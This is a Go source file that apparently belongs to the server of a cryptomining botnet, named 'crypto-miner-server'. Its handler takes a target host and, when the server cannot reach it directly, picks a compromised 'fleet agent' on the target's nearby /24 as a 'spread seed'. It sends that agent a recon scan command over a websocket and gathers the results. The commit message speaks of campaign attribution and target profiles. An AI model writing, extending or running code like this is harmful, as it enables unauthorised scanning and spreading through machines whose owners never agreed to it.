Extend deploy-kit with pinned-build campaign attribution, SSRF erasure shards, and one-click action matrix; add playbook endpoint branching by target profile.
116 lines
3.5 KiB
Go
116 lines
3.5 KiB
Go
package api
|
|
|
|
import (
|
|
"encoding/json"
|
|
"net/http"
|
|
"strings"
|
|
"time"
|
|
|
|
"crypto-miner-server/internal/recon"
|
|
)
|
|
|
|
const relayScanTimeout = 30 * time.Second
|
|
|
|
func (h *ReconHandler) RelayScan(w http.ResponseWriter, r *http.Request) {
|
|
var req recon.RelayScanRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
req.Host = strings.TrimSpace(req.Host)
|
|
if req.Host == "" {
|
|
http.Error(w, "host required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
host, err := recon.NormalizeHost(req.Host)
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusBadRequest)
|
|
return
|
|
}
|
|
req.Host = host
|
|
|
|
if recon.HostReachable(host) {
|
|
report, err := recon.LocalRelayScan(req)
|
|
if err != nil {
|
|
writeJSON(w, map[string]interface{}{"ok": false, "error": err.Error()})
|
|
return
|
|
}
|
|
writeJSON(w, map[string]interface{}{"ok": true, "report": report.ToScanReport()})
|
|
return
|
|
}
|
|
|
|
if h == nil || h.wsHub == nil {
|
|
writeJSON(w, relayScanFallback(host, "", "", "fleet websocket hub unavailable"))
|
|
return
|
|
}
|
|
|
|
seedID, seedName, ok := pickSpreadSeedAgent(h.wsHub, host, "")
|
|
if !ok {
|
|
writeJSON(w, relayScanFallback(host, "", "", "no online fleet agent on nearby /24 to relay scan for "+host))
|
|
return
|
|
}
|
|
|
|
ch := h.wsHub.AwaitCommandResult(seedID, "recon_relay_scan")
|
|
args := map[string]interface{}{"command": host}
|
|
if req.UDPGuess {
|
|
args["path"] = "true"
|
|
}
|
|
if err := h.wsHub.SendAgentCommand(seedID, "recon_relay_scan", args); err != nil {
|
|
h.wsHub.CancelAwait(seedID, "recon_relay_scan")
|
|
writeJSON(w, map[string]interface{}{
|
|
"ok": false, "agent_id": seedID, "agent_name": seedName, "error": err.Error(),
|
|
"report": relayScanFallbackReport(host, seedName, "relay dispatch failed: "+err.Error()),
|
|
})
|
|
return
|
|
}
|
|
|
|
select {
|
|
case payload := <-ch:
|
|
success, _ := payload["success"].(bool)
|
|
msg, _ := payload["message"].(string)
|
|
if !success {
|
|
writeJSON(w, map[string]interface{}{
|
|
"ok": false, "agent_id": seedID, "agent_name": seedName, "error": strings.TrimSpace(msg),
|
|
"report": relayScanFallbackReport(host, seedName, strings.TrimSpace(msg)),
|
|
})
|
|
return
|
|
}
|
|
shell := recon.RelayScanReport{
|
|
Host: host, LocalReachable: false, ScannedVia: "relay",
|
|
RelayAgentID: seedID, RelayAgentName: seedName,
|
|
}
|
|
merged, err := recon.MergeAgentRelayScan(shell, []byte(msg), req.UDPGuess)
|
|
if err != nil {
|
|
writeJSON(w, map[string]interface{}{
|
|
"ok": false, "agent_id": seedID, "agent_name": seedName,
|
|
"error": "invalid agent relay payload: " + err.Error(),
|
|
})
|
|
return
|
|
}
|
|
writeJSON(w, map[string]interface{}{
|
|
"ok": true, "agent_id": seedID, "agent_name": seedName, "report": merged.ToScanReport(),
|
|
})
|
|
case <-time.After(relayScanTimeout):
|
|
h.wsHub.CancelAwait(seedID, "recon_relay_scan")
|
|
writeJSON(w, map[string]interface{}{
|
|
"ok": false, "agent_id": seedID, "agent_name": seedName, "error": "relay scan timed out",
|
|
"report": relayScanFallbackReport(host, seedName, "relay scan timed out after 30s"),
|
|
})
|
|
}
|
|
}
|
|
|
|
func relayScanFallback(host, agentID, agentName, message string) map[string]interface{} {
|
|
out := map[string]interface{}{"ok": false, "error": message, "report": relayScanFallbackReport(host, agentName, message)}
|
|
if agentID != "" {
|
|
out["agent_id"] = agentID
|
|
}
|
|
if agentName != "" {
|
|
out["agent_name"] = agentName
|
|
}
|
|
return out
|
|
}
|
|
|
|
func relayScanFallbackReport(host, relayVia, message string) *recon.ScanReport {
|
|
return &recon.ScanReport{Host: host, ScannedAt: time.Now().UTC(), RelayVia: relayVia}
|
|
}
|